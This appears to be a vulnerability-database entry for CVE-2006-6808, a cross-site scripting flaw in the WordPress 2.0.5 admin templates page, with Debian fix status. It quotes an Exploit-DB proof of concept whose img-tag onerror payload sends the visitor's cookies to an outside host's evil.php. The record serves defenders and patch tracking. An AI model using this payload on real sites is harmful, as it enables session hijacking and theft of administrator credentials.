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CVE-2006-6808

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CVSS v3
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CVSS v4 NEW
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not yet in upstream
VIR risk
1.0

Description

Cross-site scripting (XSS) vulnerability in wp-admin/templates.php in WordPress 2.0.5 allows remote attackers to inject arbitrary web script or HTML via the file parameter. NOTE: some sources have reported this as a vulnerability in the get_file_description function in wp-admin/admin-functions.php.

Predictions

Exploit likelihood
20%
Patch ETA
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Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-29356 webapps php verified text · 1 KB
David Kierznowski · 2006-12-27

WordPress Core 1.x/2.0.x - 'template.php' HTML Injection

text exploit Source: Exploit-DB 
source: https://www.securityfocus.com/bid/21782/info

Wordpress is prone to an HTML-injection scripting vulnerability because the application fails to properly sanitize user-supplied input. 

Attacker-supplied HTML and script code would execute in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user; other attacks are also possible.

Versions prior to 2.0.6 are vulnerable to this issue.

< img src='https://wordpress-site/wp/wp-admin/templates.php?file=< img src=%27%27 onerror="javascript: var s=(document.location.toString().charAt(6)); var url=(%27http:%27%2Bs%2Bs%2B%27michaeldaw.org%27); document.location=url%2Bs%2B%27evil.php?%27%2Bdocument.cookie">' >

OS impact
debian Debian Fixed 5 releases
VersionStatusFixed in
trixie Fixed 2.0.6-1
sid Fixed 2.0.6-1
forky Fixed 2.0.6-1
bullseye Fixed 2.0.6-1
bookworm Fixed 2.0.6-1

References

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.